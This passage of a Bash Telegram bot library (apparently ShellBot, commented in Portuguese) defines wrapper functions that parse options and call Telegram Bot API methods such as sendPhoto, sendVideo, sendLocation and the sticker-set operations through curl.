${parse_mode:+-d parse_mode="$parse_mode"} \ + ${disable_web_page_preview:+-d disable_web_page_preview="$disable_web_page_preview"} \ + ${disable_notification:+-d disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-d reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Testa o retorno do método. + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Função para reencaminhar mensagens de qualquer tipo. + ShellBot.forwardMessage() + { + # Variáveis locais + local chat_id form_chat_id disable_notification message_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:f:n:m:' \ + --longoptions 'chat_id:, + from_chat_id:, + disable_notification:, + message_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -f|--from_chat_id) + from_chat_id="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -m|--message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $from_chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --from_chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${from_chat_id:+-d from_chat_id="$from_chat_id"} \ + ${disable_notification:+-d disable_notification="$disable_notification"} \ + ${message_id:+-d message_id="$message_id"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # status + return $? + } + + # Utilize essa função para enviar fotos. + ShellBot.sendPhoto() + { + # Variáveis locais + local chat_id photo caption disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:p:t:n:r:k:' \ + --longoptions 'chat_id:, + photo:, + caption:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -p|--photo) + CheckArgType file "$1" "$2" + photo="$2" + shift 2 + ;; + -t|--caption) + # Limite máximo de caracteres: 200 + caption="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $photo ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --photo]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${photo:+-F photo="$photo"} \ + ${caption:+-F caption="$caption"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Utilize essa função para enviar arquivos de audio. + ShellBot.sendAudio() + { + # Variáveis locais + local chat_id audio caption duration performer title disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:a:t:d:e:i:n:r:k' \ + --longoptions 'chat_id:, + audio:, + caption:, + duration:, + performer:, + title:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -a|--audio) + CheckArgType file "$1" "$2" + audio="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -d|--duration) + # Tipo: inteiro + CheckArgType int "$1" "$2" + duration="$2" + shift 2 + ;; + -e|--performer) + performer="$2" + shift 2 + ;; + -i|--title) + title="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $audio ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --audio]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${audio:+-F audio="$audio"} \ + ${caption:+-F caption="$caption"} \ + ${duration:+-F duration="$duration"} \ + ${performer:+-F performer="$performer"} \ + ${title:+-F title="$title"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + # Utilize essa função para enviar documentos. + ShellBot.sendDocument() + { + # Variáveis locais + local chat_id document caption disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:d:t:n:r:k:' \ + --longoptions 'chat_id:, + document:, + caption:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -d|--document) + CheckArgType file "$1" "$2" + document="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -n|--disable_notification) + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_MARKUP="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $document ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --document]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${document:+-F document="$document"} \ + ${caption:+-F caption="$caption"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + # Utilize essa função para enviat stickers + ShellBot.sendSticker() + { + # Variáveis locais + local chat_id sticker disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:s:n:r:k:' \ + --longoptions 'chat_id:, + sticker:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -s|--sticker) + CheckArgType file "$1" "$2" + sticker="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${sticker:+-F sticker="$sticker"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.getStickerSet() + { + local name jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'n:' \ + --longoptions 'name:' \ + -- "$@") + + # parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -n|--name) + name="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${name:+-d name="$name"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.uploadStickerFile() + { + local user_id png_sticker jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:s:' \ + --longoptions 'user_id:, + png_sticker:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -s|--png_sticker) + CheckArgType file "$1" "$2" + png_sticker="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + [[ $png_sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${user_id:+-F user_id="$user_id"} \ + ${png_sticker:+-F png_sticker="$png_sticker"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.setStickerPositionInSet() + { + local sticker position jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 's:p:' \ + --longoptions 'sticker:, + position:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -s|--sticker) + sticker="$2" + shift 2 + ;; + -p|--position) + CheckArgType int "$1" "$2" + position="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]" + [[ $position ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --position]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${sticker:+-d sticker="$sticker"} \ + ${position:+-d position="$position"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.deleteStickerFromSet() + { + local sticker jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 's:' \ + --longoptions 'sticker:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -s|--sticker) + sticker="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${sticker:+-d sticker="$sticker"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.stickerMaskPosition() + { + + local point x_shift y_shift scale zoom + + local param=$(getopt --name "$FUNCNAME" \ + --options 'p:x:y:s:z:' \ + --longoptions 'point:, + x_shift:, + y_shift:, + scale:, + zoom:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -p|--point) + CheckArgType point "$1" "$2" + point="$2" + shift 2 + ;; + -x|--x_shift) + CheckArgType float "$1" "$2" + x_shift="$2" + shift 2 + ;; + -y|--y_shift) + CheckArgType float "$1" "$2" + y_shift="$2" + shift 2 + ;; + -s|--scale) + CheckArgType float "$1" "$2" + scale="$2" + shift 2 + ;; + -z|--zoom) + CheckArgType float "$1" "$2" + zoom="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $point ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --point]" + [[ $x_shift ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-x, --x_shift]" + [[ $y_shift ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-y, --y_shift]" + [[ $scale ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --scale]" + [[ $zoom ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-z, --zoom]" + + cat << _EOF +{ "point": "$point", "x_shift": $x_shift, "y_shift": $y_shift, "scale": $scale, "zoom": $zoom } +_EOF + + return 0 + + } + + ShellBot.createNewStickerSet() + { + local user_id name title png_sticker emojis contains_masks mask_position jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:n:t:s:e:c:m:' \ + --longoptions 'user_id:, + name:, + title:, + png_sticker:, + emojis:, + contains_mask:, + mask_position:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -n|--name) + name="$2" + shift 2 + ;; + -t|--title) + title="$2" + shift 2 + ;; + -s|--png_sticker) + CheckArgType file "$1" "$2" + png_sticker="$2" + shift 2 + ;; + -e|--emojis) + emojis="$2" + shift 2 + ;; + -c|--contains_masks) + CheckArgType bool "$1" "$2" + contains_masks="$2" + shift 2 + ;; + -m|--mask_position) + mask_position="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + [[ $name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]" + [[ $title ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --title]" + [[ $png_sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]" + [[ $emojis ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-e, --emojis]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${user_id:+-F user_id="$user_id"} \ + ${name:+-F name="$name"} \ + ${title:+-F title="$title"} \ + ${png_sticker:+-F png_sticker="$png_sticker"} \ + ${emojis:+-F emojis="$emojis"} \ + ${contains_masks:+-F contains_masks="$contains_masks"} \ + ${mask_position:+-F mask_position="$mask_position"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.addStickerToSet() + { + local user_id name png_sticker emojis mask_position jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:n:s:e:m:' \ + --longoptions 'user_id:, + name:, + png_sticker:, + emojis:, + mask_position:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -n|--name) + name="$2" + shift 2 + ;; + -s|--png_sticker) + CheckArgType file "$1" "$2" + png_sticker="$2" + shift 2 + ;; + -e|--emojis) + emojis="$2" + shift 2 + ;; + -m|--mask_position) + mask_position="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + [[ $name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]" + [[ $png_sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]" + [[ $emojis ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-e, --emojis]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${user_id:+-F user_id="$user_id"} \ + ${name:+-F name="$name"} \ + ${png_sticker:+-F png_sticker="$png_sticker"} \ + ${emojis:+-F emojis="$emojis"} \ + ${mask_position:+-F mask_position="$mask_position"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + # Função para enviar arquivos de vídeo. + ShellBot.sendVideo() + { + # Variáveis locais + local chat_id video duration width height caption disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:v:d:w:h:t:n:r:k:' \ + --longoptions 'chat_id:, + video:, + duration:, + width:, + height:, + caption:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -v|--video) + CheckArgType file "$1" "$2" + video="$2" + shift 2 + ;; + -d|--duration) + # Tipo: inteiro + CheckArgType int "$1" "$2" + duration="$2" + shift 2 + ;; + -w|--width) + # Tipo: inteiro + CheckArgType int "$1" "$2" + width="$2" + shift 2 + ;; + -h|--height) + # Tipo: inteiro + CheckArgType int "$1" "$2" + height="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $video ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --video]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${video:+-F video="$video"} \ + ${duration:+-F duration="$duration"} \ + ${width:+-F width="$width"} \ + ${height:+-F height="$height"} \ + ${caption:+-F caption="$caption"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + # Função para enviar audio. + ShellBot.sendVoice() + { + # Variáveis locais + local chat_id voice caption duration disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:v:t:d:n:r:k:' \ + --longoptions 'chat_id:, + voice:, + caption:, + duration:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -v|--voice) + CheckArgType file "$1" "$2" + voice="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -d|--duration) + # Tipo: inteiro + CheckArgType int "$1" "$2" + duration="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $voice ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --voice]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${voice:+-F voice="$voice"} \ + ${caption:+-F caption="$caption"} \ + ${duration:+-F duration="$duration"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + # Função utilizada para enviar uma localidade utilizando coordenadas de latitude e longitude. + ShellBot.sendLocation() + { + # Variáveis locais + local chat_id latitude longitude live_period + local disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:l:g:p:n:r:k:' \ + --longoptions 'chat_id:, + latitude:, + longitude:, + live_period:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -l|--latitude) + # Tipo: float + CheckArgType float "$1" "$2" + latitude="$2" + shift 2 + ;; + -g|--longitude) + # Tipo: float + CheckArgType float "$1" "$2" + longitude="$2" + shift 2 + ;; + -p|--live_period) + CheckArgType int "$1" "$2" + live_period="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $latitude ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --latitude]" + [[ $longitude ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-g, --longitude]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${latitude:+-F latitude="$latitude"} \ + ${longitude:+-F longitude="$longitude"} \ + ${live_period:+-F live_period="$live_period"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + + } + + # Função utlizada para enviar detalhes de um local. + ShellBot.sendVenue() + { + # Variáveis locais + local chat_id latitude longitude title address foursquare_id disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:l:g:i:a:f:n:r:k:' \ + --longoptions 'chat_id:, + latitude:, + longitude:, + title:, + address:, + foursquare_id:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -l|--latitude) + # Tipo: float + CheckArgType float "$1" "$2" + latitude="$2" + shift 2 + ;; + -g|--longitude) + # Tipo: float + CheckArgType float "$1" "$2" + longitude="$2" + shift 2 + ;; + -i|--title) + title="$2" + shift 2 + ;; + -a|--address) + address="$2" + shift 2 + ;; + -f|--foursquare_id) + foursquare_id="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $latitude ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --latitude]" + [[ $longitude ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-g, --longitude]" + [[ $title ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-i, --title]" + [[ $address ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --address]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${latitude:+-F latitude="$latitude"} \ + ${longitude:+-F longitude="$longitude"} \ + ${title:+-F title="$title"} \ + ${address:+-F address="$address"} \ + ${foursquare_id:+-F foursquare_id="$foursquare_id"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Utilize essa função para enviar um contato + numero + ShellBot.sendContact() + { + # Variáveis locais + local chat_id phone_number first_name last_name disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:p:f:l:n:r:k:' \ + --longoptions 'chat_id:, + phone_number:, + first_name:, + last_name:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -p|--phone_number) + phone_number="$2" + shift 2 + ;; + -f|--first_name) + first_name="$2" + shift 2 + ;; + -l|--last_name) + last_name="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $phone_number ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --phone_number]" + [[ $first_name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --first_name]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${phone_number:+-F phone_number="$phone_number"} \ + ${first_name:+-F first_name="$first_name"} \ + ${last_name:+-F last_name="$last_name"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Envia uma ação para bot. + ShellBot.sendChatAction() + { + # Variáveis locais + local chat_id action jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:a:' \ + --longoptions 'chat_id:, + action:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -a|--action) + [[ $2 =~ ^(typing|upload_photo|record_video|upload_video| + record_audio|upload_audio|upload_document| + find_location|record_video_note|upload_video_note)$ ]] || \ + # erro + MessageError API "$_ERR_ACTION_MODE_" "$1" "$2" + action="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $action ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --action]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${action:+-d action="$action"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + # Utilize essa função para obter as fotos de um determinado usuário. + ShellBot.getUserProfilePhotos() + { + # Variáveis locais + local user_id offset limit ind last index max item total jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:o:l:' \ + --longoptions 'user_id:, + offset:, + limit:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -o|--offset) + CheckArgType int "$1" "$2" + offset="$2" + shift 2 + ;; + -l|--limit) + CheckArgType int "$1" "$2" + limit="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + 